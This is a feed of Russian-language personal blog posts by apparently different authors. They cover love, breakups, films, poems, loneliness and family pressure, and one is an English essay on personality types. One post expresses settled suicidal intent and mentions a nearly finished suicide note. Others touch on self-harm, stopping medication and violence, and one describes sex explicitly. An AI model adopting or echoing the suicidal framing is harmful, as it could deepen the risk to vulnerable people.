Кажется, я нравлюсь молодому человеку, который не нравится мне.

Не надо со мной так.

Я не знаю, что мне делать.

Все мы мечтаем о таком как Патрик Суэйзи в "Грязных танцах". О сильном, независимом, не погодам взрослом парне, который возьмет все наши проблемы на себя, с которым будет ощутимо чувство "безопасности" и "спокойствия". По сути в таких мы и влюбляемся. И с такими все быстро заканчивается. Каким вообще должен быть идеальный мужчина? И существует ли он? Вероятнее всего нет. Ведь идеалы существуют только в нашей голове, но никак не в жизни.

Захотелось мне поведать вам(представим что меня тут кто то читает) о своем идеальном мужчине:

1. Мой идеальный мужчина должен быть эгоистом по отношению ко всем, кроме родных. Думаете странный факт? Да. Но так уж вышло, что я не блещу добротой и отзывчивостью, и когда со мной хороший человек, я кажусь еще хуже на его ангельском фоне. Да и вообще нравятся мне такие парни, холодные и циничные. Вот что бы прям еще хуже меня.

2. Мой идеальный мужчина не должен стоять на одном месте. Так как я сверх амбициозная и активная, мне всегда хочется куда то идти, а точнее, даже бежать. Спокойная, размеренная жизнь - это не для меня(по крайне мере ближайшие 7 лет). Соответственно, и мужчину я хочу далеко не спокойного, а четко знающего чего он хочет, чего хочу я, и идущего напролом к исполнению наших общих и раздельных желаний.

3. Мои идеальный мужчина должен быть человеком на которого я смогу положиться и который никогда не подведет. Я так привыкла всегда рассчитывать только на себя, на свои силы и возможности. И я не говорю что это плохо, скорее наоборот. Но в будущем, я уверенна, мне захочется расслабиться и доверить свои проблемы мужчине, который справится с ними не хуже меня.

4. Мои идеальный мужчина должен вызывать у меня восхищение. Я хочу восхищаться его манерами, характером, взглядами, убеждениями, его действиями, его умением решать проблемы… Мне хочется восхищаться им даже во время поражений и "сложных времен". Этот список можно продолжать вечно. Но главное мне хочется за каждым совместным завтраком, обедом или ужином смотреть на него с удовольствием и понимать что я именно с ТЕМ.

5. Мой идеальный мужчина должен вдохновлять меня быть лучше. Тем не мение, никогда меня не критиковать, не ругать, а только поддерживать. Я часто бываю самоуверенной, и часто эта самоуверенность неоправданна, так вот, в такие моменты, я могу и не быть лучшей для всего мира, но если, для него одного, я самая лучшая, что мне весь мир со своим мнением.

Возможно прочитав название этой статьи вы представили себе другой список, типа:

—добрый

—умный

—решительный

—красивый

—сильный

—смелый

И прочая фигня.

Нет. У меня вообще все всегда не так, как от меня ожидают. И возможно кто то прочитав это подумает, что я хочу слишком многого, что таких мужчин не бывает. Но я то точно знаю, что как минимум, один такой мужчина существует, и даже не представляет что очень скоро, возможно не очень, вселенная сведет его с одной незабываемой девушкой которая вскружит ему голову, и перевернет мир. (Если кто то забыл, то скромность тоже - НЕ МОЕ.)

Я точно знаю что если человек существует в нашем подсознании, то он и существует в реальном мире. Нужно просто подождать правильное время. Мои запросы как всегда велики, но они реальны. Меньшего мне не захочется. И я на 100% уверенна что если не будет, так, как я хочу, то будет еще лучше.

p.s. Помните что наши мысли материальны. Думайте о хорошем, и все сбудется.

Не помню, когда в послений раз ложилась спать раньше трёх ночи. И неважно, если день предвещал быть сложным, на сон было всего пару часов. Сейчас 1.45 и я уже в постели. Представляете, насколько мне плохо?

Она ещё сказала не хочу лезть в ваши отношения но все же стоит ли такая любовь этого всего, решай сама

В конце месяца встречусь с Кристиной, и узнаю что и как было, я ей в крацие рассказала ситуацию, и думаю что ей не будет смысла врать) бля, меня в первые секунды так трясло что я с ней переписывалась, потом пришёл он, я его всего расцарапала, пинала, он от меня по всей квартире бегал, гордится то не чем что запугала его так, но бля моя мысленная маленькая победа :D вот если ещё при встрече с этой великолепной девушкой узнается что у них был секс, тогда он вообще пострадает :) )

самому упоротому, безбашенному и……романтичному фильму этого года 10 из 10!!! давно я столько не смеялась. ибо угорать там начинаешь уже с начальных титров :)) мне еще и повезло. зал был забит….почти что одними парнями и потому ржач стоял просто до небес. все чувствовали себя раскованно, никого не смущало происходящее на экране, так что просмотр проходил свободно и от души. в общем, я очень и очень довольна.(по самому фильму ничего не пишу ибо только первый день проката и всё оч спойлерно)

пы.сы. Эд Скрейн(Аякс) здесь просто ух *_*. перед ухмылкой этого британца просто невозможно устоять.

пы.сы.2. еще я в восторге от Сверхзвуковой Боеголовки. эта малышка реально оч крута!!

Мне начинает казаться, что я ошибся два с половиной года назад. Свернул не туда. Причём без возможности исправить что-то. Теперь это просто полнейший беспорядок. Всё так запутанно. Лучше бы этого не было. Лучше бы я всегда был один.

все прошлое - это сон. проснулся ты только сейчас. и что делаем с этим разбросанным ворохом дел и кучей людей вокруг - неизвестно. и так каждый день.

Хорошо что могу написать хоть сюда, тут никого нет и никто этого не узнает. Помню как то она спросила про мечту, есть ли она у меня…я ответил что есть - умереть, ибо зачем жить после исполнения мечты…я рад что стал ближе к мечте… А самое страшное…что уже ведь и не страшно. Терять нечего, страха больше нет. Есть лишь неунимаемая боль. Которая разъебывает меня изнутри на маленькие атомы. А еще хорошо, что никто не будет жалеть кроме родственников. Да и то уже не факт…ведь я позор семьи….обуза…. А еще записка… Которую почти дописал, предсмертная ебучая записка…ее вот тяжело писать…и слезы не останавливаются… Уже которую ночь. А еще хорошо без секса, блядства и алкашки. Это круто. Кроме нее никого не хочу. выпил недавно - мерзко. Про блядство..дак я давно с этим завязал…. Скоро….очень скоро…и я рад….и все будут рады.

Второй день чувствую себя дном, могу расплакаться в любой момент. Я просто вымотана собою же. Я не знаю чем это вызвано, мне просто хочется плака-ть и плакать. Хочу плакать из-за того, что не умею расставлять приоритеты. Хочу плакать, т.к. делаю какой-то неправильный выбор. Хочу плакать, т.к. воспринимаю всё слишком близко к сердцу. Хочу плакать, т.к. серость и унылость, созданная мною вокруг. Хочу плакать, потому что бесят постоянные издевки отца и вечные его давка словами. Я не хочу быть никому ничем обязана, не хочу оправдывать ничьих ожиданий, кроме как своих. "Ты же молодец, займешь 2 или 1 место". ДА Я НИЧЕГО НЕ ВОЗЬМУ, ПОТОМУ ЧТО НЕ МОГУ. ХВАТИТ ВЕЧНО ГОВОРИТЬ, ТЫ СДЕЛАЕШЬ, ПОЧЕМУ НЕЛЬЗЯ ОСТАВИТЬ ВЫБОР ЗА МНОЙ? Стоит мне заикнуться о какой-то интересной возможности, то начинают говорить, что я уже поеду туда или стану кем-то. Может, я и преувеличиваю, но это чертово давление убивает меня. Я просто постоянно должна оправдать чьи-то ожидания. Этот груз просто уничтожает меня. Еще я не хочу ныть, хочу все делать, но это не получается. Я просто эмоционально разбита.

До чего я докатилась :DDD
Скачала с невософт игру про любимую в прошлом Марту и ее офигенную ферму и собираюсь провести ночь играя :D
Фармкрафт, жди меня: 3

"Вторая любовь".

Что из того, что ты уже любила,

Кому-то, вспыхнув, отворяла дверь.

Все это до меня когда-то было,

Когда-то было в прошлом, не теперь.

Мы словно жизнью зажили второю,

Вторым дыханьем, песнею второй.

Ты счастлива, тебе светло со мною,

Как мне тепло и радостно с тобой.

Но почему же все-таки бывает,

Что незаметно, изредка, тайком

Вдруг словно тень на сердце набегает

И остро-остро колет холодком…

О нет, я превосходно понимаю,

Что ты со мною встретилась, любя.

И все-таки я где-то ощущаю,

Что, может быть, порою открываю

То, что уже открыто для тебя.

То вдруг умело галстук мне завяжешь,

Уверенной ли шуткой рассмешишь.

Намеком ли без слов о чем-то скажешь

Иль кулинарным чудом удивишь.

Да, это мне и дорого и мило,

И все-таки покажется порой,

Что все это уже, наверно, было,

Почти вот так же, только не со мной,

А как душа порой кричать готова,

Когда в минуту ласки, как во сне,

Ты вдруг шепнешь мне трепетное слово,

Которое лишь мне, быть может, ново,

Но прежде было сказано не мне.

Вот так же точно, может быть, порою

Нет-нет и твой вдруг потемнеет взгляд,

Хоть ясно, что и я перед тобою

Ни в чем былом отнюдь не виноват.

Когда любовь врывается вторая

В наш мир, горя, кружа и торопя,

Мы в ней не только радость открываем,

Мы все-таки в ней что-то повторяем,

Порой скрывая это от себя.

И даже говорим себе нередко,

Что первая была не так сильна,

И зелена, как тоненькая ветка,

И чуть наивна, и чуть-чуть смешна.

И целый век себе не признаемся,

Что, повстречавшись с новою, другой,

Какой-то частью все же остаемся

С ней, самой первой, чистой и смешной!

Двух равных песен в мире не бывает,

И сколько б звезд ни поманило вновь,

Но лишь одна волшебством обладает.

И, как ни хороша порой вторая,

Все ж берегите первую любовь!

#asadov_verses

От тебя до меня долгая дорога. От меня до тебя только позови.

к слову (или не очень), i'm back on meds еще с прошлой пятницы (потому что так "спать" невозможно), но эффекта никакого и сплю я по-прежнему такими же урывками, хотя раньше с 25 мг меня просто срубало, причем с первой же таблетки. привыкание?

Давно я сюда не писала.

Ну в общем, история о том, как мы на Дэдпула сходили. И как сегодня знакомились с А.

В общем в целом эту прогулку можно описать, что в каждой бочке меда есть ложка дегтя. И этой ложкой была я.

Началось все так. Я приехала раньше в город и еще ждала О. Успела два раза кофе попить, меня от него уже тошнило. Ребята потом приехали, и как раз и О. подошла… Оставалось до фильма еще три часа и мы пошли в кальянную.

В целом на протяжении этого времени я чувствовала себя лишней в компании.

Честно, боюсь, что может и знакомство прошло не совсем удачно.

Ну в плане того, что «привет привет» в целом и все знакомство.

Мне очень трудно общаться с новыми людьми, потому что я считаю себя скучным человеком/и что остальные так тоже считают/ и все время боюсь, что я не понравлюсь человеку. (Кстати вот думаю, что так и есть)

Пока мы были в кальянной мы кое-как разговаривали. Ну как мы…они, я в целом молчала. И это полностью моя вина. О. нашла общий язык с А., а С. В принципе всегда со всеми его найдет. Ну, а я…а я что…а вот со мной проблема. Забитый человек, который считает себя всегда страшной и неинтересной подружкой.

Да, абсолютно искренне скажу, что я считаю, что О. намного красивее меня, интереснее…мне нечего рассказать людям, я стесняюсь/смешное слово на самом деле/ и так далее.

После фразы «расскажите, что-то интересное» я обычно замолкаю, потому что у меня нет интересных историй, поэтому в целом говорила О. Так что я постепенно начала чувствовать себя лишним звеном в данной «связке».

За что не люблю себя еще больше, так за то, что это на 100% моя вина, никто не мешал мне так же разговаривать, спрашивать…мешала себе только я сама и моя неинтересная жизнь, а также замкнутость.

З ато, когда мы пришли на фильм, я забыла обо всем. Я отключилась просто от всего и от всех вокруг и полностью погрузилась в мой любимый марвеловский мир. Там я себя уютно чувствовала.

Фильм вызвал бурю положительных эмоций, я просто в восторге. Все шутки, спецэффекты, игра актеров, мимика Рейнольдса даже под маской были просто на высоте.

Был полный зал людей и только четверть осталась ждать сцену после титров. И сцена очень порадовала. От души просто.

Я бы с радостью еще сходила на Дэдпула, даже сама, просто желание снова погрузиться в этот фильм. Может так же и сделаю.

Простите, что вам пришлось читать этот бред. Просто настроение закончилось вместе с титрами Дэдпула.

—yours captain blurryface

Не произноси вслух

Секс с любовью всей моей жизни был самым лучшим. Он был всегда мягким, ласковым и нежным, а так как я не особо любитель этого, то пришлось переделывать все на новый лад, хотя ему это безумно нравилось. Мы могли изучать друг друга и познавать что то новое для себя. В этом прелесть того, что мы первые друг у друга. Мы никогда не стеснялись друг друга и были открыты и доверчивы. Мы говорили что нам не нравится и что лучше всего стоит делать почаще. Мы эксперементировали много и часто. Оргазм за оргазм. Мы вели счёт и если кто то проигрывал мы добирали, так бывало что переходили к нестандартному. Я не стыжусь этого. Он самый лучший и секс с ним изумителен. Однажды мы занимались этим перед зеркалом в родительской кровати. Мы часто занимались этим в их комнате, потому что кровать была очень удобной и широкой. Там мы испробовали даже "смену" так мы называли один из типов секса. Но большую часть мы проводили в его комнате. Помню была ночь, когда его родители спали за стеной, а на улице барабанил ливень и мы решили перейти на подоконник. Он постелил на него полотенце и это было нечто. Единственное, что нужно было делать это закусывать нижнюю губу, чтобы вдруг не вскрикнуть. Мы кончали иногда одновременно, иногда по очереди и улетали, а я всегда считала сколько у меня толчков. Однажды дошли до 59. Он был в восторге от себя, а я даже дышать не могла в тот момент. Ощущение было что пробежала марафон. А когда мы были у меня дома то пришлось спустить матрац на пол, как в фильме "Стиляги", потому что кровать сильно скрипела и там мы занялись невероятным сексом, только в этот раз за стеной были мои родители. Помню он лежал на животе и свет от луны падал на его спину и попу, а я сидела рядом и балдела от его тела. Как же сильно я скучаю по нему. По его прикосновениям. Однажды мы занялись сексом на балконе. Это было нечто. Еще несколько раз на подоконниках. Перед выходом и уездом. В автобусе что то шло к этому и на последнем ряду. Я убедилась лишь в одном, что секс по любви наивысшее наслаждение.

но разве вправе я забыть его красивые глаза? мне никогда не разлюбить того, кого любить нельзя. Моника Фортино

Дорогие мои, я только что вернулась с красной ковровой дорожки Berlinale 2016.

Сказать о том как я счастлива - ничего не сказать. Кто-то посчитает это глупостью - идти глазеть на актеров, которые тебе ни концерта ни устроят, ну в целом ничего не покажут…. Но для меня это тема особенная. Я буквально живу кинематографом, а моя головушка забита фактами о фильмах и актерах…

Сегодня я видела Мерил Стрип. Буквально в 20 сантиметрах от себя!!! Какая она прелестная женщина. Всегда улыбчива и скромна. Наряду с Мерил в состав жюри вошел Клайв Оуэн, которого я так же лицезрела напротив. Я очень хотела его сфоткать, НО когда я его увидела у меня челюсть отвисла. Какой же он был протрясающе красивый в идеально сидящем костюме и галстуке-бабочке! Вобщем мне хватило того, что я жадно поглазела! :)

В связи с тем, что сегодня была презентация картины "Аве, Цезарь" в рамках кинофестиваля, на ковровой дорожке присутствовали Джордж Клуни с Амаль, Ченниг Татум, Джош Бролин, Тильда Суинтон и конечно же братья Коэны.

Знаете, улыбка Джорджа Клуни просто творит чудеса…когда он смотря на тебя улыбается, а около его глаз образуются "гусиные лапки" ты не видишь в нем взрослого мужчину…перед тобой 25-летний похититель сердец! Ах!!!!

Ченнинг тоже был в очень хорошем настроении. Бегал раздавал автографы и с удовольствием со всеми фотографировался! Когда у фанатки случайно выпала бутылочка с водой на ковровую дорожку, Ченнинг ее поднял. Вот какой молодец! :)

Был еще Даниель Брюль, но просто в качестве гостя. Его я видела издалека, но даже так он покорил мое сердце :) Такой скромняжка, по-другому не скажешь.

Тильда и Джош Бролин к фанатам почему-то не вышли, обидно: (Так что лицезрела их тоже издалека.

Я сейчас понимаю, что у меня была реальная возможность сфоткаться с ними, ибо они никому не отказывали в селфи или там руку пожать.. но я просто стояла в АХУЕ!!! В голове были мысли: "Да ладно? Это че все реально штоле? Это че реально ща Клуни мимо меня прошел?" Кароч и смех и грех, но в следующий раз я возможности не упущу! Аминь!

Вот такой вот был у меня день, точнее 2 часа радости, которому предшествовали 4 часа стояния под дождем, дабы занять очередь в первых рядах. Я до смерти замерзла, не чувствала ног, но это стоило того!

Сегодня я счастлива!

Душ

Это какое то неизведанное место, именно в нем предаешься грёзам и забываешь все. Именно там можно смыть с себя всю грязь, все поцелуи и следы от секса. Иногда часами могу стоят под струей воды. Иногда горько плачу. Именно вода дает мне силы очиститься, именно она дает мне силы двигаться дальше. В любой непонятной ситуации иди в душ и просто смой с себя депрессию.

Мне больше не страшно, не больно, Но так неуютно в груди!.. Нельзя было так своевольно Не думать, что ждет впереди. Короткая, нежная радость, Мне было с тобой так светло! Запретная горькая сладость – Алмазом казалось стекло… Казалось, еще много света У солнца смогу зачерпнуть, Казалось, не кончится лето, И можно судьбу обмануть. Вот осень и платит ненастьем Да серым, унылым дождем За радости миг, что у счастья Был мною украден тайком. “Придумала все”, - осторожно Твердишь на признанье в ответ. Придумать любовь невозможно! Она или есть, или нет. Я стану мудрее, но прежде Забуду тебя не спеша, И будет опять, есть надежда, По-детски открытой душа! И верить захочется снова! Весенним дождем станет лед… Я помню завет Соломона На перстне: ”И это пройдет”…

Сочинила 11.02

Он всегда был частью меня и навсегда ею останется,
Он жмурит глазки, когда ему что-то нравится,
Он весь мой мир и вся моя Вселенная,
Он мой Вулкан
Он извержение.
Он тот кто тянет за руку к себе, целует в лоб и вместо "да, алло" всегда подшучивает "добрый день пиццерия вас приветствует "
Он изучил все родинки на моем теле…
Он яркость, блеск в глазах
Он крик души
Он тот, кто дарит ласку и заставляет вырабатывать в себе терпение,
Он сладость на губах
Он, а то есть, его имя пульсирует всегда в висках
Он чудо
Он умиротворение
Он знает как поднять мне настроение.
Он как маяк, который светит в нужном направление.
Он жизнь
Он тот от кого мне нужно лишь искать спасение…

Отвращение

Приготовила себе вкусный сытный ужин и не могу и кусочка проглотить. Жутко тошнит. Отвращение не только к еде, но и ко всему и даже к себе самой. Сегодня помотрела фильм «Дикая» Мне сестра как то сказала, что главная героиня напоминает ей меня и да, я с ней полностью согласна. Сегодня этот фильм задел меня за живое. Я будто снова скользнула острием лезвия по своим ранам, которые совсем недавно затянулись. После фильма думала как обычно займусь тем, что приносит мне удовольствие, но я начала плакать, даже нет не плакать, а горько рыдать. В голове возникло воспоминание, как мы утром завтракали с любовью всей моей жизни. Как я ждала когда он сядет на соседний стульчик, чтобы закинуть на его ноги свои. Мы безумно любили есть йогурт данисимо с шариками и хлопьями. А однажды я не выдержала и намазала на его нос йогурт и он помчался по всей квартире за мной, чтобы тоже измазюкать. Мы бегали как маленькие дети и смеялись звонко так. Воспоминание того смеха оглушает сердце до сих пор, а после мы целовались так сладко, как никогда. Я плакала потому что думала об этом. Думала о том, как мы, вернее я смогла разрушить все это.
Как? Зачем?

Время 2, вставать пол 7) мило, да?

Как-то не особо понятно, когда человек сам говорит, что соскучился, а это выходит все в круглый ноль. Слова люди просто бросают на ветер. Да уж.

Сегодня мы смеялись до слез, хоть и было тяжело. Завтра будет не легче. Успокоила себя, молодец.

Я устала. Нет, не буду продолжать в стиле "..хочу любви". Не хочу, я в нее не верю, в связи с последними событиями. Хочется просто понимания и заботы. Но, хотеть не вредно. Эх, бесит

Скоро домой. Хочется

Сладких снов :)

Возможно, это покажется неправильным и наглым, но… в последнее время я говорю людям правду или то, что считаю нужным. Я не хочу больше скрывать что-то от кого-то, врать в лицо (хотя этого я и так никогда не делала). Утешать. Если я считаю, что человек не прав, я ему это скажу, а еще и аргументирую. Зачем кого-то обманывать, говоря, что он безусловно прав, только лишь потому что этот персонаж является твоим другом? Да, ты должен его поддерживать, но и правду всю вылить тоже. Твой друг должен слышать искреннюю правду, насколько бы она жестокой ни была, от ДРУГА, а не врага. Ибо враг всегда преувеличивает, а просто знакомый боится, дабы не задеть: ведь ему не нужны лишние проблемы. И поэтому такая тяжелая ноша ложится на наши плечи - плечи друзей/подруг. Поддержать, но при этом сказать суровую правду - целое искусство.

Кажется, сейчас поняла сейчас кое-что очень важное. Да, в жизни случается такое, что люди бросают вас, уходят; но очень важно суметь после всего этого беспорядка сохранить умение открываться другим, тем, кто рядом. Я вот заново сейчас учусь.

солнце заглянуло в нашу квартиру, это было похоже на наступление весны, но вот опять ветер и обещают холода. мама ругается, что я хожу в старом пуховике и старых уггах… а мне удобно) и не жалко по грязи… я не сильно парюсь по верхней одежде и обуви, может надо это пересмотреть, потому что мне тяжело расставаться со старыми вещами, а надо. еще читаю книгу "я-бренд" - принципиально новая система, которая пока в России только-только начинается, а в нашем маленьком городке вообще наверное нонсенс) еще послушала лекции рами блэкта (по рекомендации ирены понарошку) - хорошие вещи проскальзывают, но ооочень тяжело воплотимые в жизнь (событием стала покупка сухого шампуня - оч нужная штука-выручалочка оказалась. фотки нет, потому что опять слошные бумеранги -_-

Знаешь, наверное в жизни есть этап, когда лучше быть одному. - Даниэла Стил.

Черт его знает как мне лучше. Я устала от вечных упреков с его стороны, с недоверия н а пустом месте, контроле, оскорблений. Я не понимаю что я сделала человеку, что он так ко мне относится. Я не понимаю. Как можно сказать человеку тонну дерьма, а потом просто сказать "извини"? Что мне твое "извини"? Куда его засунуть? Я просто этого не понимаю. Еще раздражает тот факт, что меня никогда не боялись потерять, зная, что я терпила и буду хавать это гавно ложкой доверчиво кивая. Спасибо, наелась. Сыта по горло просто. И он думал, что я не уйду, потому что кишка тонка, потому что боюсь его. И когда я перестала бояться и решила просто резко, хладнокровно уйти из его жизни, он испугался. Он начал беситься, что его собственность вдруг решила сопротивляться. Класс. Я не понимаю.

Неужели любовь - это вечное и дикое желание овладеть человеком? Раньше думала именно так. Ревность - это однозначно проявление любви, девчонки! Увы. Чаще всего, ревность - проявление неуверенности в себе. Ты посмотрела туда, ты надела то, ты специально красишься, чтобы понравиться парням, а что это там за смс? Что за бред нахуй. Если я с тобой, значит я с тобой всем: телом, душой, сердцем.

Глупые люди. Боже. Рушат все сами. Просто втаптывают все в грязь. То, что так долго строили, по песчинке собирали. А потом все просто так разрушилось. Я не знаю что будет дальше. Но мне не больно и не страшно теперь. Голова забита другим. Будущим. Эгоистично? Хз. Я действительно устала. Я хочу быть одна, просто вот загорать, учиться, отращивать волосы, бить тату, делать пирсинг, кушать чизкейк на завтрак, ездить в музеи и кино, читать книги, смотреть игры престолов и просто блять радоваться жизни! Если говорить о выборе. То я хочу, чтобы рядом был настоящий мужчина. Рядом с которым я чувствовала бы себя девушкой, хрупкой, маленькой. Зная, что он тебя никогда не обидит, не оскорбит и будет считать тебя тем самым трофеем, который он выиграл у судьбы.

Я хочу быть чьим-то трофеем.

Она меня бесит лет с семи. Господи, мне почти 20, ей 25, сестра, она приехала домой и я снова её ненавижу. Эгоистка чёртова.

говно собачье

Ночь, без десяти час… работаю. Слушаю Чичерину. Удавиться хочется. Я зажралась? То радуюсь. То депрессую. Нет среднего.

Надо было раньше сделать работу и не бодрствовать ночью. Мысли плохие лезут в голову. Еще эта песня "врачи".

Почему именно ночью не хочется жить?

надо наверное все же не бросать таблетки пока что…

Сколько страданий избегаешь, пока спишь. Алессандро Д'Авения

слушаю марину энд зе даймондс даже не потому, что как-то особенно нравится музыка, а просто потому что о да, пой мне о пустоте, детка

karina-corso Добра тебе и маленьких чудес! Заходи почаще!

Я давно не вижу ничего плохого в собственном одиночестве. Люди сильно преувеличивают значение отношений двух людей. Да, это важно, но не так важно, чтобы растворяться в терзаниях, и безумно тосковать. Все гораздо проще. Есть – значит хорошо, нет – ну и не надо.

Мне, в принципе, всегда по барабану, кто и что думает, но моя личная полигамия во мнениях (априори) мешает мне быть постоянно кем-то. Ужастики.

Я могла бы учиться у самой себя, потому что в каких-то моментах я превосхожу себя саму, но я не учусь, потому что я сама себя превосхожу, но при этом я не я.

Оттачивать мастерство чтения или, например, батрачить на скилл писательства можно, но не вижу в этом смысла. Во втором точно, ибо я не хочу писать в стол.

Разумно было бы открыться, раскрыться, отдаться, но мне просто абсолютно в с е р а в н о на поддержание межличностных отношений, потому что бесполезно и скучно. Как и все, что я делаю. Весело.

Нет, скептицизм это не депрессия, это просто вечное "че?"

Вам кажется, когда мое "мне все равно" для вас звучит, как "я безликое чудовище, которое существует, утешая себя мягкими одеялами и бесконечным количеством кошек". Если мне все равно, это значит, что мне все равно, а не то, что вы подумали.

Если количество бесконечное, то количество ли это?

Я не знаю от чего, но у меня иногда начинает быстро биться сердце, если меня вдруг спрашивают о чем-то в переполненном людьми зале. Мне же похуй, а.

Замкнутость как образ жизни, потому что идите нахуй.

Я очень добрая. Просто я не люблю тратить свое и ваше время на всякие утипути, потому что это время можно провести с пользой. По разным углам разных комнат, занимаясь разными (или одинаковыми) делами, не думая друг о друге вовсе.

Моя низкая самооценка не из-за чьих-то слов, а потому что я так сказала. Помните, полигамия мнений?

Бессмысленность всех этих слов зашкаливает, но я не могла не высказаться, потому что я люблю говорить, люблю вещать свою мысль, потому что это дает мне ощущение некого не_бессмысленного существования. Типа я полезное дело делаю. Ну да.

Протест как религия. Измельчая свое сознание, вытаскиваешь какую-то мысль, цеплясь за нее, как за последний вдох (выдох?), а она выскакивает и все. Конец.

Протест как религия #2. Я не люблю фанатиков, но придерживаюсь мнения, что каждый из нас имеет право быть таким, каким он хочет быть. Я люблю людей. Я не люблю фанатиков. ???????? Женщина

Я ненавижу осуждать, но когда я вижу "элитарное" быдло, я блюю остатками всего святого, что осталось во мне. Ненавижу сдерживать потоки дерьма, касающиеся чего-то сверх_ужасного и в какой-то мере опасного, ибо зачем молчать, когда можно сказать?

Последнее время ручаюсь словосочетанием "я могу". Потому что я могу.

Я разговариваю сама с собой намного чаще, чем с другими людьми. Why…

Почему есть ответы на незаданные вопросы, но нет ответов на заданные вопросы. Жизнь, я хочу знать, что ты значишь.

на сегодня всё. наверное…

почему люди уходят?

мое сердце – сплошной перегонный куб, только лучше бы в нем – алкоголь.

Подсела на одну книгу Зеланда.Чувак-гений!Я читаю и понимаю, что он описывает то, что происходит в моей жизни, а самое главное, он рассказвает как эти проблемы решать.Может мне только кажется, но я правда попробывала вести себя как описанно и всё тихонько стало налаживаться.Это напоминает какую-то рекламу в интернете, но это АХТУНГ!Короче, я в восторге и если так будет продолжаться всё будет просто великолепно.Замуж бы за него вышла!

Привет со дна.

это все высасывает из меня энергию. что я делаю не так?

Чувствовать себя жалкой стало привычкой. Хочется выколоть себе глаза, чтобы не видеть никого и ничего, в том числе себя

"А ты особенная. Я знаю это." СЕРЬЕЗНО? НЕТ, БЛЯТЬ, ТЫ СЕРЬЕЗНО? КАКОГО ЛЕШЕГО ПРОИСХОДИТ?

Поедем к морю, и зажжём там звёзды.

какой-то пиздец происходит. хочется уже выйти на учёбу, но пока нет возможности, так как свёкры уезжают и некому сидеть с наташей. Устала за день невероятно, да что там за день, за всё последнее время. Наташа ведёт себя ужасно, посточнно капризничает, ноет. Сегодня хныкала на протяжении всего дня и почти не спала.У меня уже голова кругом шла, так было хреново, хотелось ей двинуть.
И ещё эта рутина грёбанная, я ненавижу жизнь по расписанию, а с наташей по-другому невозможно, иначе ничего не успеешь. и вот каждый день одно и тоже одно и то же ОДНО И ТО ЖЕ! и я целыми днями одна! крыша может к хренам собачьим уехать.

мне просто нужен кто-то, кто полюбит меня. но кажется, я жду того, кто не придет.

1) Personality – is the combination of characteristics or qualities that form an individual’s distinctive character. Personality means what a person is, what kind of character, nature he has., I agree with proverb, because nobody can`t deny that all people are different. It`s isn`t a secret that we choose people in our life, resemble with us. Best friends, of course, have common interests. I have much in common with my best friends.

2) The good examples are Carl Jung and Sigmund Freud. Carl Jung was a Swiss psychiatrist who had a lasting influence on psychology and society. He studied medicine at the University of Basel, specializing in psychiatric medicine. His influence on our society and psychology. Carl Jung developed ideas about personality types which still interest and influence people today. He identified two personality types which he called introverts and extroverts.

Another famous psychiatrist, Sigmund Freud studied medicine at the University of Vienna and graduated it as a Doctor of Medicine. In 1907 Jung was introduced to Freud and together they formed the International Psychoanalytical Association. Jung was its first president.

3) Extroverts find meaning outside themselves, in the surrounding world, and introverts are introspective, they look into themselves and find meaning into themselves. Extroverts are very easy-going, it’s very easy for them to form close relationships. They enjoy the excitement of crowds. Extroverts tend to be assertive, self-confident and energetic; they’re often leaders in groups and lead busy lives. In general, they’re very talkative and sociable.

Introverts, from the other hand, fell comfortable alone. They avoid large crowds; they’re relaxed, thoughtful and reflect before they act. They’re often very quiet, cautious and have good powers of concentration.

Besides, people divided on optimists and pessimists. Optimists tend to see all the events in their lives in a positive light. Everything seems positive to optimists. Even negative events may still be viewed as having the potential to be positive.

In the other hand, Pessimists generally focus on the negative potential of everything. They believe that one mistake means more will come (stable), and mistakes in other areas of life are inevitable (global), because they are the cause.

4) I think that all types of personality measuring are partly effective. I don`t believe in zodiac. I`m sure that is false. Horoscope isn`t science. But I believe in personality tests. Because, I think, these tests can help understand yourself and your personality type. For example: two well-known tests are Myers-Briggs and David Keirsey are based on theory of personality types. And i`m sure Personality tests is the most effective.

5) Charisma is a kind of magic and is relatively. Charismatic personalities are able to draw people to them, and people feel happy in their company. However, they have other qualities such as sensitivity, self-confidence, eloquence and vision. There is a sense of “togetherness “when a charismatic person is with other people. People often misunderstand what charisma is and think of it as a kind of fame, but it`s not the same as fame. Unlike fame, charisma doesn`t fade and disappear over time. A good example of this ability, some say is the famous American, Oprah Winfrey. She is a highly-successful businesswoman and is probably best known as the presenter of a very popular talk show.

6) I want descript my classmate. That`s Ann. She has black hair and green eyes. She is reliable, friendship and open-minded. All time in my study, she helps me and I think she also helpful, honest person and easy-going.

как это всё пережить?!

Оговорюсь сразу, это не попытка восстановить наше общение. Я достаточно сильно разочаровался в тебе… Я пытался всё это время дать тебе понять, что люблю от чистого сердца, что думаю головой, а ты опустила меня до уровня тупых трахеров. И вот не могу понять: неужели ты действительно думала, что всё это время я мечтал лишь об одном - как бы залезть к тебе в трусы? Это очень глупо. Все эти 276 дней, с тех пор как увидел тебя, мечтаю просто быть всегда рядом, видеть твои глаза, твои волосы, твои щёки (в их я по-особенному влюблён), разделять горе и радость. Следом дом, семья, дети, лимонное деревце, хех… Но, по-твоему, я думаю членом. Это реально обидно, когда твердишь, что любишь по-настоящему, а тебе: “ты типичный мужик, вам всем надо только одно”.

Забавно, сейчас с улыбкой вспоминаешь время, когда желание быть с тобой пересиливало желание просто дышать, когда сбивал руки, когда сутками не спал. Впрочем, сейчас мало что изменилось, разве что руки зажили. Недавно сниться перестала, и я перестал спать. Вздремну пару часиков до работы – весь мой сон. Сон… Не хочу туда, там тебя нет. Признаюсь, мне пока тяжело, но я справлюсь, научусь жить с этим. И ты останешься просто мечтой. Чтобы ни произошло со мной, либо с тобой, я не когда не перестану мечтать, думать о тебе…

На днях ты написала мне сообщение, возможно, перепутала диалоги, и я поставил игнор только потому, что хочу верить в твои слова. Пойми, если ты вернешься после своего “прощай”, всё, сказанное тобой ранее, попадёт под сомнение. Слово “Люблю” всегда даёт надежду, даже, если это ложь. Просто хочется верить, и забываешь про реальность. Когда ценишь каждое слово, и слышишь что-то вроде “люблю” – это ослепляет, делает тебя не способным увидеть недостатки человека…

